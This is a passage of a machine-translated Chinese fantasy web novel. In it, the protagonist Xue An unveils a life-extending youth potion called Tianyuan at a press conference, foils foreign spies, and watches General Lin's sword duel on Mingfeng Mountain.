    An Yan blushed, took a bottle of Tianyuan, took a sip, and then handed it back to Xue An.


    "You drink too!"


    This scene made all the people around show envy.


    Chen Rushi lowered her head even more and stopped speaking.


    In her heart now, only envy and blessing!


    Because she read from Xue An''s eyes on An Yan, gentle enough to make people drown.


    A woman, if she can meet a man who treats herself as a daughter, she would be lucky!


    Chen Xiuhe moved fast enough.


    The next day, the news that the Chen family was about to hold a press conference spread throughout Central Capital.


    The impetuous Zhong who was being caused by the upcoming battle was once again a sensation.


    The Chen family is going to hold a press conference?


    And it was held at this festival, what did Chen Xiuhe plan to do?


    Many people are full of doubts.


    Wait until the day of the press conference.


    The hotel under the Chen family was full of luxury cars.


    Many people gathered together and talked about the press conference for a while.


    Just as he was talking, Jin Xiurong wore a cheongsam, and walked in gracefully surrounded by his two sons.


    Everyone drew away from the road, while others shouted respectfully: "Auspicious Mrs. An!"


    Jin Xiurong nodded arrogantly, and then walked into the venue.


    After she left, people started talking.


    "This old lady is really powerful!"


    "Tsk tusk, then you haven''t seen the time when Anjia was in full swing in the previous years. At that time, the emperor went out of the palace just like the emperor in ancient times."


    "Such a cow*, didn''t you get slapped in the face at the birthday banquet a few days ago?" someone sneered.


    "Hey, the home is much worse now, but the skinny camel is bigger than the horse, let''s watch the fun!"


    When Xue An arrived, the lobby of this hotel was already full of people.


    Xue An didn''t say a word either, just about to enter, there was a surprised voice.


    "Is it Mr. Xue?"


    Xue An turned around and saw a familiar face.


    "Are you... Chen Xiaoyi?"


    Chen Xiaoyi was the female reporter who interviewed Xue An when he was in the provincial capital.


    Unexpectedly, she came to Zhongdu today and participated in this press conference!


    Chen Xiaoyi was very happy after seeing Xue An, "Mr. Xue, I didn''t expect to see you here!"


    Xue An smiled, his impression of Chen Xiaoyi was pretty good.


    "Reporter Chen is not in the provincial capital now?"


    "No, this time I accompanied my friends to do things in China. I happened to meet this press conference, so I came to join in the fun!" Chen Xiaoyi said, pointing to the girl next to him.


    "This is my friend Huang Xiangyan!"


    Xue An glanced at this Huang Xiangyan, he looked like a middleman, but he looked rather fashionable, but he looked very arrogant.


    After Chen Xiaoyi introduced, she took a few glances at Xue An, and then a trace of disdain flashed in her eyes, turned her head and said coldly: "Xiao Yi, you talk first, I''ll go there and wait for you!"


    After speaking, he turned and left.


    Chen Xiaoyi said apologetically: "Sorry, my friend treats everyone like this!"


    Xue An held back a smile and pointed behind him.


    Chen Xiaoyi turned his head and looked, only to find that after sitting down, Huang Xiangyan was talking with a rich man next to him with a smile on his face. The flattering look and the indifference just now formed a sharp contrast!


    Chen Xiaoyi''s face became very embarrassed.


    "Mr. Xue, Miss Fan went to Hollywood in Country M. Do you know this?" Chen Xiaoyi said suddenly.


    Xue An was startled when he heard it, "I don''t know? When did it happen?"


    "I also just learned the news. I heard that the contract with the original company was cancelled, and then many blockbuster invitations were turned off, and she went to Hollywood alone. Many people said she was crazy!" Chen Xiaoyi sighed.


    Xue An heard that, a soft place deep in his heart was touched, and then he sighed slightly.


    "I really don''t know about this!"


    Chen Xiaoyi nodded, "I guess Miss Fan has her own ideas!"


    At this time everyone was seated. Chen Xiaoyi thought that Xue An had no seats, so he kindly invited: "Mr. Xue, come and sit next to me! The location here is good, you can see clearly!"


    Xue Anlue groaned, then nodded.


    He planned to ask about Fan Mengxue in detail.


    Chen Xiaoyi was obviously very happy. After the two sat down, Huang Xiangyan, who was fighting with the rich boy next to him, frowned.


    Then deliberately said: "This Mr. Xue is here this time, is there an invitation?"


    Xue An shook his head, "No invitation!"


    Huang Xiangyan''s face became even more mocking, "Since there is no invitation, why should UU read sit here?"


    Chen Xiaoyi''s expression sank, "Xiang Yan!"


    Huang Xiangyan sneered, "Xiao Yi, you have to be careful. Some people, relying on their own face, use their own face to bluff and deceive women all day long. You have to be careful!"


    Xue An who said this laughed.


    When Huang Xiangyan spoke, didn''t he think about himself first?


    However, Chen Xiaoyi''s face was green, and he was obviously angry.


    Upon seeing this, Huang Xiangyan sneered in his heart.


    This Chen Xiaoyi pretended to be high-minded when he was in the unit, and now it seems that he is just a stupid woman.


    She wouldn''t make such a mistake. This time she went to great lengths to get the invitation to the press conference in order to be able to catch a trick on it.


    For her, money is the most important thing!

 Chapter 200： Tianyuan

    "Mr. Xue, I''m really sorry, she..." Chen Xiaoyi wanted to say something apologetic.


    Xue An waved his hand and said lightly: "Needless to say, it''s okay!"


    And Xue An''s attitude made Huang Xiangyan even more disdainful.


    In her opinion, Xue An was clearly persuaded.


    And the very comfortable second-generation rich man who was complimented by Huang Xiangyan also smiled arrogantly at this moment: "Miss Huang, don''t pay attention to some messy people. When the press conference is over, I will take you to meet The real big shot!"


    Huang Xiangyan''s eyes lit up, "Really? You are so amazing!"


    The rich second generation smiled triumphantly, "Of course, my family and the Chen family have a very deep relationship. Even my father had done things with Mr. Chen back then. Now Mr. Chen sees me and nods at me. Compliments!"


    The Elder Chen he said was naturally Chen Xiuhe.


    Huang Xiangyan heard the brilliance in his eyes, and he became more complimented and flattered.


    At this moment.


    A group of people came on the high platform in front, all holding a plate in their hands.


    However, the plates are covered with red cloth, and it is not clear what is inside.


    Then Chen Rushi came out.


    Her appearance caused a slight commotion in the field.


    When many children from aristocratic families see her, their eyes are bright.


    "Hello Miss Chen!"


    "Good sister, poetry!"


    Greetings one after another.


    Even the rich second generation raised his hand with excitement, "Hello Miss Chen!"


    For them, Chen Rushi is like the goddess in their hearts.


    And Huang Xiangyan looked at Chen Rushi on the stage enviously, wondering if he could get to this point one day, how cool would it be?


    But Chen Rushi just nodded slightly towards the audience, and then stood aside with his hands down.


    At this time, Chen Xiuhe walked up slowly.


    His appearance just caused a huge commotion.


    Whether they were willing or unwilling, many people all stood up and shouted: "I have seen Patriarch Chen!"


    Chen Xiuhe smiled slightly, "Sit down, everyone!"


    After everyone sat down, Chen Xiuhe said indifferently: "I invite you all here today because I have something to announce! But..."


    Chen Xiuhe paused, and then continued: "But I am not qualified to talk about this, so I have to invite a gentleman to speak on stage!"


    After all, Chen Xiuhe stood aside with his hands down.


    Everyone in the audience was taken aback for a moment, and then all their faces were full of surprise.


    Who the **** is it?


    Can Chen Xiuhe be so respected?


    At this moment, Xue An stood up.


    His body drew the eyes of people around him.


    Chen Xiaoyi was taken aback and whispered, "Mr. Xue, what are you doing?"


    Xue An smiled faintly, "It''s okay, I''ll go ahead!"


    Huang Xiangyan sneered at this time: "It''s really interesting, do you know where it is? I walk around casually? I don''t know how to get in!"


    Chen Xiaoyi couldn''t bear it, and said angrily: "Huang Xiangyan, don''t go too far!"


    Huang Xiangyan was dumbfounded by Chen Xiaoyi''s anger, and then sneered: "Chen Xiaoyi, don''t think about yourself, I tell you, this surname Xue is purely..."


    The following words were not spoken.


    Because Huang Xiangyan saw a scene that made her jaw-dropping.


    Seeing Xue An walked to the front row, then slowly stepped onto the stage.


    His action naturally attracted everyone''s attention.


    Chen Xiaoyi couldn''t help being stunned.


    At this time Xue An walked to the front desk, Chen Xiuhe and Chen Rushi crowded behind him, with a very respectful expression.


    Huang Xiangyan''s face was dull, and he whispered softly, "God...God! I''m not mistaken!"


    But Chen Xiaoyi recovered from the shock at this time, recalling the many miracles that Xue An had created when he was in the provincial capital, and a smile appeared on the corner of his mouth.


    In this man, any miracle can happen!


    At this moment, Xue An held the table and looked around the audience.


    The room gradually calmed down.


    Xue An said indifferently: "Many people are wondering who I am!"


    "Introduce yourself, my name is Xue An!"


    Xue An?


    The name caused a commotion.


    And the rich second generation that Huang Xiangyan had been fond of was shaking all over, looking at the stage with horrified eyes.


    "He... is he Xue An?"


    Huang Xiangyan''s face was pale, and he asked in a low voice, "This...Is this Xue An amazing?"


    "It''s not just amazing? He stepped on the top giants in the capital, and you said that it''s amazing?" The rich second generation trembled.


    At this moment, he regretted that he should not be entangled with this stupid lady.


    This is just great.


    Did he ridicule Xue An just now?


    Thinking of this, the rich second generation trembled.


    Huang Xiangyan''s face was as pale as paper, and he regretted his words and actions just now, and then smiled to Chen Xiaoyiqiang.


    "Xiao Yi...you...will you apologize to Mr. Xue for me later?"


    Chen Xiaoyi snorted and ignored her at all.


    At this time Xue An waved his hand, and after everyone was quiet, a smile appeared on the corner of his mouth.


    "Many people are curious about why this conference is being held!"


    "Very simple, I only do one thing!"


    With that, Xue An pulled the red cloth covering the tray.


    More than a dozen small bottles with delicate shapes appeared in front of everyone. Under the shining of light, these small bottles all exuded a charming light, which made people look dazzling.


    what is that?


    Perfume?


    Many people are puzzled.


    Xue An smiled faintly, "This... is what I want to tell you today, a medicine that can prolong life for 20 years, Tianyuan!"


    boom!


    There was an unstoppable commotion in the audience.


    Life extension for twenty years?


    What is this concept?


    We must know that with the current medical conditions, we still dare not say that it can extend the life of an old man by one year.


    This Xue An actually said that the pale golden liquid in these small bottles can extend life for 20 years?


    Many people shook their heads, their faces full of disdain and doubt.


    Xue looked quietly.


    Until the crowd calmed down again, he said, "I know many people won''t believe it, but it''s okay. Someone here can verify it!"


    With that, Gao Gaoyan also stepped onto the stage.


    As soon as he appeared, there was another low exclamation below.


    "It''s a genius doctor!"


    "Why is he here too?"


    The high temperature makes a laugh at the stage everyone, what I want to say today is, if you don��t believe me, you can look at me! "


    At this time, many people noticed that today''s high temperature speech is different from the past.


    Although the previous high temperature said that the maintenance was very good, but the age is limited, the face also has wrinkles, and the whole person is vicissitudes.


    But now it looks like a man in his thirties.


    Many people can''t help but feel a little moved.


    After all, Gao Yan has a very good reputation in Zhong, he shouldn''t be a lie!


    Xue An said again: "Also, this heavenly fate can not only prolong life, but also make people youthful!"


    As soon as this sentence was uttered, all the women in the audience lit up.


    Mobile station:

 Chapter 201： The sensational fairy potion

    No woman can resist the temptation of youth.


    If so, then she must not be a woman.


    Xue An''s words caused a huge sensation.


    But some people remain skeptical.


    After all, this all sounds too incredible!


    Xue An pointed to Chen Xiaoyi in the audience at this time, "Miss Chen, please come up!"


    Chen Xiaoyi was taken aback, and pointed to himself, "Is it me?"


    Xue An nodded.


    Then Chen Xiaoyi stood up and walked onto the stage in a daze.


    Huang Xiangyan''s jealous eyes were about to be angry.


    But helpless.


    Can only stare blankly.


    After Chen Xiaoyi came to power, Xue An smiled at her, "Miss Chen, please try this Tianyuan today!"


    Chen Xiaoyi is now about 30 years old, but because he usually faces the sky and often stays up late to write articles, his skin looks extremely bad and his mental state is a bit old.


    Chen Xiaoyi looked at him blankly.


    She didn''t understand until Xue An handed her a bottle of Tianyuan.


    "This thing... is expensive, right?"


    Xue An nodded and whispered softly: "Probably more than ten million!"


    Chen Xiaoyi shuddered and almost threw it on the ground. Then, he gritted his teeth and drank the entire bottle of Tianyuan.


    Xue looked quietly.


    This can be considered a gift to Chen Xiaoyi.


    Moreover, this Tianyuan is considered to be an enhanced version, and the effect of the medicine has been shortened a lot.


    five minutes.


    Chen Xiaoyi blinked his eyes, feeling no difference.


    There was a commotion in the audience.


    Many people watched with a sneer, thinking that Xue An''s trick was a mess.


    Even a few people with medical background got up to scold Xue An for being a liar.


    At this moment, a magical scene happened.


    It was seen that the wrinkles on Chen Xiaoyi''s face began to disappear at a speed visible to the naked eye, and at the same time, the skin tone began to whiten.


    Even the figure that has begun to have cellulite is regaining youthful vitality in a blink of an eye.


    After a while.


    Just now he looked like Chen Xiaoyi in his thirties, but at this moment he seemed to have recovered to his eighteenth or nineteen-year-old state.


    The audience was silent.


    Everyone stared dumbfounded.


    Especially those women, all their faces were dull.


    "God!" finally a woman whispered softly.


    Then, as if the fuse was lit, the atmosphere in the room was instantly ignited.


    "Mr. Xue...how much are you? I want ten bottles!" a rich lady who was already very old yelled.


    "Mr. Xue, I am very interested in this thing about you. I want to cooperate with you. This is my business card!" said a figure wearing glasses, who was obviously a representative of a pharmaceutical company.


    "Mr. Xue, are there any side effects of such a world-class technology as you?" Someone asked a question that everyone cares about.


    Xue An shook his head, "Although many people are surprised, this Heavenly Destiny... has no side effects!"


    At this time, many women gathered around, and the formation could not wait to eat Xue An.


    Xue An smiled at this time, "I can give everyone a try today, but it can only last for one month!"


    Speaking of Xue An took out the prepared trial kits, these were all diluted Heavenly Fate, and the efficacy lasted for a month at most!


    Many women couldn''t wait to take it over and drank one after another.


    After a while, these women who were old and fatter became much younger one after another.


    This tangible effect finally made people no longer reserved.


    Some women even fought in order to **** the trial outfit.


    At the same time, more ill-intentioned eyes were directed at Xue An and the Chen family behind Xue An.


    After all, everyone can see that this heavenly fate represents massive wealth!


    Who is not jealous?


    Xue An looked at this scene with a smile on the corners of his mouth.


    This... is the effect he wants.


    At the same time, Xue An noticed a bitter look.


    He turned his head to look, and met Jin Xiurong who was sitting in the distance.


    Jin Xiurong was shaking all over now.


    The teeth were creaking.


    She is not a fool, so she naturally guessed that Xue An must have made this fate.


    what does this mean?


    It means that Xue An possesses a technology that is enough to make him the world''s richest man.


    But he never showed it.


    Thinking of this, a trace of regret rose in Jin Xiurong''s heart full of anger and resentment.


    If you were not so strong at the beginning, if you had a better attitude at the beginning.


    Then Anyan will not return to Anjia, and this god-like technology will also be Anjia!


    But everything is too late.


    Jin Xiurong can only look at Xue An with annoyance and resentment.


    It wasn''t until Xue An turned his head to look at her that Jin Xiurong was surprised.


    Xue An''s eyes were full of indifference and indifference.


    It seems that he is a superior emperor who is examining criminals!


    This made Jin Xiurong''s face pale.


    Many people who knew the inside story secretly laughed.


    Settling down... now it can be regarded as a laughing stock among the large population!


    "Mr. Xue, when do you plan to start selling this?" This is the most frequently asked question.


    Xue An smiled, "It''s already in production now, as for when will it start to sell... after General Lin''s gambling battle is over!"


    Xue An''s words moved many people''s hearts.


    It looks like Xue An is betting!


    General Lin can win!


    However, among the eager or jealous eyes of everyone, there was a woman sitting in a wheelchair, elegant and elegant, looking at Xue An in the distance with puzzled eyes.


    What do you want to do? The man like a fairy in my cousin''s mouth... Xue An!


    This press conference ended in shock.


    And the follow-up impact completely turned the whole Zhong upside down.


    Everyone understands what this heaven means.


    So when Xue An returned to Chen''s house, all kinds of calls and invitations almost buried him.


    Xue An has only four words for this.


    Ignore it!


    Then he led his wife and children out to play.


    As Xue An guessed.


    Tianyuan raised the minds of everyone, and countless greedy eyes focused on the Chen family and his body.


    now.


    Settling in.


    The people are all silent.


    Jin Xiurong has already punished four maids for a little incident.


    Now she was sitting on the chair with lingering anger.


    An Chang smiled bitterly: "Mother calms down!"


    "How can I calm my anger? The fate was originally our hometown but now it belongs to the Chen family. How can I not be angry?" Jin Xiurong''s face was full of resentment.


    An Chang shook his head, "Mother, the key nowadays is to look forward to General Lin''s defeat! As long as he loses, then Xue An will have no support. The Chen family alone cannot hold such a hot potato. !"


    Jin Xiurong nodded thoughtfully, "Then you mean..."


    "Let''s watch the changes first, but there will surely be someone who can''t help it!"


    As An Chang said.


    Chi home.


    Chi Chongshan patted the table.


    "Non-toxic and not a husband, since Xue An killed my son and held a heavy treasure in his hand, don''t blame us for being rude!"


    Mobile station:

 Chapter 202： Secret Service

    Country M.


    A serious-faced white man holding a top-secret document, said in a deep voice to the agent below: "Now we have received a special mission. Someone in China has developed a medicine that can extend life span by 20 years. The news is unequivocal. Now the country urgently needs all the information on this medicine!"


    As he said, the man issued the document.


    There is a detailed character chart above.


    The first one is Xue An, and the hazard rating is SS.


    "Sir, is this a wrong print?" Someone asked in surprise.


    The man shook his head solemnly, "This is the conclusion that the system automatically judged!"


    Then the man said solemnly: "According to our intelligence system, all countries R, H, and E have already begun operations. This is a war between agents, and our M must not lose!"


    "Yes!" everyone responded suddenly.


    "Hathaway stayed."


    After everyone dispersed, a pretty woman with dark eyes and yellow skin stayed.


    "Hathaway, this is a quest for you alone, this is your new identity!"


    Hathaway took a look, and her new identity had a name written on it.


    Yuan Xiaoxia.


    The task is only a piece of paper with a man''s information on it.


    Yang Binyi, male, 23 years old. Unmarried, had a failed emotional experience, sensitive personality, but easily impulsive, system rating C, easy to break through!


    Hathaway nodded, "Understood!"


    The land of the central capital was originally a place where all parties fight and fight.


    Xue An revealed things like Tianyuan, just like dropping a piece of fat in the Colosseum, and all parties red eyes and began to bite.


    Today Xue An is sitting on the office chair, drinking tea leisurely.


    And there were two deep bullet marks on the desk in front of him.


    As for the person who fired the bullet, Xue An had already been killed by a sword gas in the air.


    This feeling is amazing.


    It''s like teasing a child.


    Xue An even regarded it as a game, and some of them kept enjoying it.


    Now this pharmaceutical factory has officially changed its name to Tianyuan Pharmaceutical Factory.


    Countless gazes trying to snoop hover around.


    Xue An didn''t change his expression, just sitting in it.


    Zhao Xuehui walked in, "Second, hiss, another attack?"


    Xue An nodded, "Yes, and it''s a very unskilled assassination, but I have to bother to change a desk again!"


    Zhao Xuehui frowned, "It''s not a problem to keep going like this!"


    Xue An smiled, "It won''t last forever. It''s like spying on each other. They don''t know my details, so I use this method to investigate. Unfortunately, the more so, the more confused they are!"


    Sure enough, as Xue An said.


    Several intelligence chiefs in country H, country R, ??and country E are all grimace at the moment.


    A lot of manpower was lost during this period, but no one entered the gate!


    Until now, I still don��t know anything about it, which is simply a humiliation to all parties!


    Later, people referred to this operation as a battle of halberd by various intelligence forces!


    Today, Yang Binyi didn''t go to the pharmaceutical factory because he was a bit trivial. After the treatment was completed, he was about to drive away.


    He felt a shock from behind, and then got out of the car and took a look, and found that a small pink car had rear-ended him.


    Yang Bin frowned, and then saw an apologetic girl coming down from the car.


    The girl is not too pretty, but she is very attractive, and she apologizes to Yang Bin one by one.


    "Sorry, I didn''t mean it!"


    Seeing a girl driving, Yang Binyi''s brows stretched a lot.


    "It''s okay, take insurance!" Yang Bin said.


    "Uh... forget it, I''ve had too many risks this year!" The girl said, sticking out her tongue playfully.


    "I will pay you directly!"


    Yang Bin didn''t doubt that he had him, and directly quoted a price, and the girl said, "Shall I add your WeChat account and transfer it to you? And if there is anything, you can also find me!"


    Yang Bin nodded.


    The two parties added WeChat to each other, and then the girl turned the money over and smiled and said, "My name is Yuan Xiaoxia! What is your name?"


    "My name is Yang Binyi!" Yang Binyi was also embarrassed to always keep his face straight, so he said with a smile.


    "I''m sorry to bother you!"


    "It''s okay!" Yang Bin drove off as soon as he finished speaking.


    Yuan Xiaoxia watched Yang Binyi''s car go away, then smiled and said softly: "The first step is unexpectedly smooth! It seems that this task is not challenging!"


    The next night.


    Yang Binyi is about to go to the cafeteria for dinner.


    When the phone rang, he took a look and found that it was a WeChat message sent by Yuan Xiaoxia.


    It was an apologetic smile, followed by a voice.


    As soon as Yang Bin felt his heartbeat speeded up slightly, he clicked and listened.


    Yuan Xiaoxia said: "I''m sorry for what happened yesterday, if I have time, I would like to treat you to a light meal tonight!"


    Yang Bin took a deep breath, and then sent a message, "Okay!"


    at night.


    In a restaurant in Zhongdu that is neither high nor low.


    Yang Bin looked at Yuan Xiaoxia, who changed into a formal dress and looked glamorous, and couldn''t help being a little silly.


    "What do you always see others doing?" Yuan Xiaoxia said with a reddened face.


    "Um... I''m sorry! I was just amazed!"


    Yuan Xiaoxia''s eyes moved, and she chuckled: "Do you usually talk to your girlfriend like this?"


    Yang Bin shook his head, "I don''t have a girlfriend!"


    "How come? You are such a good boy, how can you not have a girlfriend?"


    "To be precise, it was once!" Yang Bin smiled bitterly.


    Yuan Xiaoxia nodded, and then smiled: "I''m sorry, I shouldn''t ask!"


    The two of them ate and talked like this, and the more they talked, the more speculative.


    After eating, Yuan Xiaoxia walked out of the restaurant a little bit timidly.


    "Can you... take me home?" Yuan Xiaoxia whispered.


    Naturally no boy would refuse this request.


    Yang Bin drove Yuan Xiaoxia home with a car.


    On the way back, Yuan Xiaoxia fell asleep on Yang Binyi''s shoulder.


    Waiting to live Yuan Xiaoxia was still asleep.


    Yang Bin helped her to the door of the house.


    Then Yuan Xiaoxia opened the door in a daze.


    After entering, Yang Bin put her on the sofa and was about to turn around and leave.


    Yuan Xiaoxia grabbed his arm.


    "It''s me at home, I''m so scared, can you accompany me?"


    Yang Bin sat down silently.


    Yuan Xiaoxia started talking nonsense, and suddenly fell on Yang Bin.


    "Don''t you like me?" Yuan Xiaoxia winks like silk.


    On such a night, the beautiful woman is in her arms, even the iron man will be tempted.


    What''s more, Yuan Xiaoxia is enthusiastic at the moment.


    But the next second, her body froze.


    Because Yang Bin looked at her coldly, "Don''t waste your energy, you also came with medicine!"


    A trace of panic flashed in Yuan Xiaoxia''s eyes, but it was fleeting, and she chuckled: "I don''t know what you are talking about!"


    Yang Bin pulled out his arms little by little, stood up slowly, buckled the unbuttoned buttons one by one, and said coldly, "From the very beginning, you have revealed a big flaw!"

 Chapter 203： Battle of Mingfeng Mountain

    Yuan Xiaoxia still looked drunk and chuckled: "Are you drunk? You must be drunk!"


    Yang Binyi ignored these words, but said indifferently: "No female driver can drive a manual transmission car! This is your biggest flaw!"


    This sentence made Yuan Xiaoxia''s face gloomy, and there was no drunkenness in her eyes.


    "I underestimated you, but you never thought about the consequences of angering a highly trained agent?"


    Yang Bin let out a chuckle, "Then have you ever thought about offending a drug factory, what will be the consequences?"


    "You..." Yuan Xiaoxia suddenly felt dizzy.


    "How is it possible, I have been paying attention, how could you have given me medicine?" Yuan Xiaoxia said in horror.


    When Yang Bin looked at her, a ridiculous smile appeared on his face, "There is no medicine in the drinks, but I placed medicine in the taxi!"


    Yuan Xiaoxia wanted to say something, and then fell asleep, knowing nothing.


    When Yang Bin dragged Yuan Xiaoxia back to the pharmaceutical factory to see Xue An, everyone else rushed.


    Seeing that she was a beautiful female agent, Qiao Le couldn''t help being a little annoyed: "Why are you a female agent''s beauty trick, and I am a strong man?"


    Yang Bin smiled.


    "Second, what do you plan to do with these people?" Zhao Xuehui felt a little tricky.


    "Just let it go after you ask!" Xue An said lightly.


    "Let it go?"


    "Yes! What else?"


    "but����."


    "Don''t worry, these people will only cause more trouble to the other party after they go back. It''s more cost-effective than killing!" Xue An smiled lightly.


    Indeed, as he said, after putting these people back, everyone''s memory became confused.


    This shocked everyone who interrogated them.


    In just a few days, the situation has changed all these elite agents.


    It seems that this pharmaceutical factory is not that simple!


    Because of this shock, for a while, no one dared to spy on intelligence casually.


    And Tianyuan Pharmaceutical Factory is also called an intelligence black hole by all parties!


    As for the other forces in Central Capital, they are all dead at this moment.


    Because the battle that everyone is waiting for has finally arrived.


    Mingfeng Mountain is originally a small mountain peak that is neither tall nor beautiful.


    Usually there are few tourists.


    But today, starting from the early hours of the morning, there has been an influx of vehicles here.


    When it was three poles in the sun, all kinds of vehicles were already parked under Mingfeng Mountain.


    Almost all the giants in China are all gathered together just to witness the battle of the century with their own eyes!


    However, those with low identities are all waiting at the foot of the mountain. Only those with a certain status and status can go up the mountain.


    At this moment, a woman pushed her wheelchair slowly up the mountain.


    Sitting in the wheelchair is a woman with an elegant temperament.


    Wait for them to go away.


    Someone whispered.


    "Who is this woman? Why did she come with a wheelchair?"


    "Don''t you recognize it? The one who pushes the cart is Master Wei Ruyanwei!"


    "Is that Master Wei who loves flowers like life?"


    "That''s right! And the one being pushed is the only genius of the Wei family in a hundred years, Wei Rulan, who is known as the Wuxue Huo Dictionary!"


    hiss!


    Some people gasped.


    Because this Wei Rulan is very famous in Zhongdu, many people know this living dictionary.


    But she didn''t expect that she would be a bad girl.


    now.


    Wei Ruyan pushed her cousin up the mountain.


    As they walked, the two sisters were talking gossip.


    "Sister, I still don''t understand yet! Why did Xue An choose to announce Tianyuan at this time!" Wei Rulan''s face was full of doubts.


    Wei Ruyan smiled, "I don''t know too!"


    "There is nothing worse than this point in time. Everyone knows that he and General Lin are in the same faction. Now General Lin is facing a life-and-death battle. Isn''t what he should do best to keep a low profile?"


    "In the end, he did the opposite, and made a celestial fate to show off. Now it''s okay. The world''s eyes are on him. If General Lin is defeated, then things will be lively!"


    "Then what if General Lin wins?" Wei Ruyan smiled.


    Wei Rulan curled his lips, "Impossible! According to my guess, General Lin will definitely be defeated?"


    "Oh why?"


    "Because he slashed the envoys with the sword, it shows that his power is so low that he needs this method to maintain it. This is obviously not a good sign!"


    A worried look flashed in Wei Ruyan''s eyes when she heard the words of her cousin.


    She was very convinced by Wei Rulan''s words, because the facts proved that many of Wei Rulan''s speculations were proved to be correct.


    When I came up the mountain, there were already many people waiting in the mountain.


    Wei Ruyan saw many familiar faces in it.


    After finding a place to sit down.


    Xue An also arrived.


    When he appeared, many people were moved.


    In particular, many people are directly looking at Xue An with bad eyes.


    Xue An is not commenting on this.


    But Wei Ruyan smiled lightly: "Mr. Xue, here!"


    Mr. Xue smiled and walked over.


    Wei Rulan kept looking at Xue An with a playful gaze. After a while, he whispered: "Mr. Xue, don''t you think what you did the other day was a bit too reckless? "


    Wei Ruyan frowned, "Laner!"


    Wei Rulan smiled, "Cousin, am I just curious to ask, I don''t think Mr. Xue will be angry, right?"


    Xue An smiled, "Of course I won''t be angry, but I don''t think I am reckless!"


    Wei Rulan frowned, and her evaluation of Xue An was downgraded by another level.


    In her opinion, what Xue An did can only be described as unwise.


    A person who can only shake his fists and kicks but has no brain is not worthy of attention.


    So Wei Rulan had three more contempt in her eyes, then turned her head and stopped speaking.


    At this time, many people came up one after another from the bottom of the mountain.


    And these people are basically masters in the martial arts world.


    Among them, most are from China.


    After all, this time is the Chinese God of War Lin once again to meet the challenge of R country!


    As a Chinese citizen, naturally, he is very concerned about it.


    It was almost noon.


    People have been waiting on the mountain for two or three hours, and they can''t help but feel a little tired.


    Some people were whispering, "I heard that General Lin has been in a temporary retreat for a few days. It seems that he is planning to recharge his energy!"


    "Shhh, here comes!"


    I saw a group of people wearing kimonos walking up from the mountain.


    Walking in the front is a girl with a half-human sword in her arms.


    The girl stepped on clogs and walked slowly, looking solemn and indifferent.


    There was a commotion among the people.


    Some people were surprised: "This is the ghost sword of country R? It''s actually a little girl?"


    "Hey, it seems that General Lin has won!"


    But there are many martial arts masters with solemn expressions.


    Because they all saw how unusual this woman was.


    Xue An frowned slightly.


    This woman... has a strange aura!


    Mobile station:

 Chapter 204： 3 magic sword!

    It looks like a person instead of a person, a demon but not like a demon.


    It''s really interesting.


    Xue looked quietly.


    Kiyoko Takeuchi and the people from Yaki Shrine who followed stopped on the other side of the mountain, and then Kiyoko Takeuchi began to close his eyes to rest.


    People from Huaxia were talking quietly.


    A smug smile appeared at the corner of Chi Chongshan''s mouth.


    Last night, he quietly got in touch with people in country R.


    As long as General Lin dies today, then in the future Zhongdu will be his late family.


    There are the Anjia people who hold the same idea.


    However, they decided to wait and see the changes first, and it would not be too late to turn around at the last minute.


    The sun gradually rose above everyone''s head.


    The sun was so violent that it made people dizzy.


    suddenly.


    Kiyoko Takeuchi opened his eyes and said in a weird Chinese language: "Here it is!"


    Seeing from the bottom of the mountain, a person came flying.


    I arrived at the top of the mountain in an instant, and everyone was in a commotion.


    "It''s General Lin!"


    "General Lin is here!"


    General Lin stood on the top of the mountain, and the crowd nodded slightly, then looked at Kiyoko Takeuchi.


    "I didn''t expect that the new ghost and **** Yidao would actually be a woman!"


    An evil smile suddenly appeared on Kiyoko Takeuchi''s beautiful face, "Master Lin! You cut me under the sword ten years ago. Today, I will pay back the enemy of this sword!"


    General Lin''s eyes were cold.


    The ghost and **** of country R Yidao is a kind of inheritance-like existence, he knows this.


    Unexpectedly, even the memory can be passed down.


    "I could kill you ten years ago, and it will be the same ten years later!" After saying this, General Lin suddenly pulled out his sword.


    Sword energy spread across the fields, and the persecuting crowd of onlookers retreated more than a hundred meters, standing on the mountainside.


    At this time, Wei Rulan shook her head and sighed, "The general is getting more worried in this battle. In order to win the battle, he took the lead in drawing his sword, but he didn''t know he had already vented his spirit!"


    Xue An listened and smiled slightly, "You seem to have no hope for General Lin''s battle?"


    Wei Rulan snorted coldly, "Yes, in my opinion, General Lin will undoubtedly be defeated, so it is simply a stupid thing that you announce Tianyuan in advance."


    "Rulan, shut up!" Wei Ruyan frowned and shouted in a low voice.


    "Isn''t it? Don''t believe you, let''s see the result for a while!" Wei Rulan sneered and looked at the court.


    At this moment, General Lin held a sword in his hand, his momentum was rising steadily, and he broke through the fairyland in an instant, and came to a mysterious realm.


    All the martial arts onlookers changed their colors.


    "It''s longevity!"


    "The general is really mighty!"


    General Lin said lightly: "This sword is called Liuguang, and it is left by the Chinese immortals. Today, I will hold this sword and cut you on Mingfeng Mountain!"


    Kiyoko Takeuchi gave a weird smile, and then the kimono on her back was silent and her eyes gradually turned black.


    A black that makes people shudder.


    "Very good! As long as you kill you, the huge Huaxia will have no longevity, and you can let me gallop!"


    With Kiyoko Takeuchi''s emotional voice, her aura suddenly soared.


    Everyone changes in color!


    "It''s longevity! No! It seems to be even further than longevity!"


    General Lin''s expression also became solemn, and the sword in his hand suddenly turned into a shock, and he went straight to Kiyoko Takeuchi!


    "Flying sword beheaded!" General Lin shouted coldly.


    Jian Hong suddenly went several times faster, and even disappeared in front of everyone.


    But with such a quick sword, Kiyoko Takeuchi suddenly stretched out his hand and clamped it with two fingers.


    The huge sword intent directly destroyed the large mountain forest behind Kiyoko Takeuchi, but did not hurt a single hair of Kiyoko Takeuchi!


    "Quick sword, but not fast enough!" Takeuchi Kiyoko grinned.


    When she smiled, the corners of her mouth grin directly behind her ears, her smile full of evil and cold.


    General Lin didn''t even pause, waved his hand again, and said solemnly, "Humanity!"


    boom!


    The streamer sword suddenly became heavy, and the two slender fingers of Kiyoko Takeuchi broke.


    At the same time, the sword was so powerful that it directly knocked Takeuchi Kiyoko a dozen steps away!


    The crowd let out a low exclamation.


    Many people have smiles on their faces.


    But Kiyoko Takeuchi slowly got up from the ground, her body was scorched by the sword, but she still had a cold smile on her face.


    "Come again!"


    The voice shook the fields.


    Many people began to look serious.


    General Lin looked indifferent, as if nothing had happened just now, and said lightly: "The earth is in heaven!"


    The streamer exploded and turned into countless sword lights, directly covering a range of more than ten meters around Takeuchi Kiyoko.


    "It''s the Three Swords of Heaven, Earth and Human!" Wei Rulan said softly with blinking eyes.


